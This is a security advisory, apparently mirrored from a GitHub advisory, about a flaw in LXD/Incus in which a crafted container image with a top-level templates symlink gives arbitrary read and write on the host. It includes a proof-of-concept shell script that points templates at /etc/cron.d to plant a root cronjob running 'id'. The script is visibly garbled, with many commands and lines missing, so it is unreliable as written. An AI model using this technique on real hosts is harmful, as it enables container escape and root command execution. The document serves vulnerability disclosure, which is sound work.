LXD has arbitrary file read+write on host via templates/ symlink in malicious image

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Below, we map the templates directory to /etc/cron.d on the host, but it can be mapped anywhere. We then create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
() {
     -rf 
}
 cleanup EXIT INT QUIT TERM HUP

 -p 
 -s /etc/cron.d 
<<

 
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar -- afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template  afrw-image-templates-symlink





  | incus config template create afrw-image-templates-symlink poc-32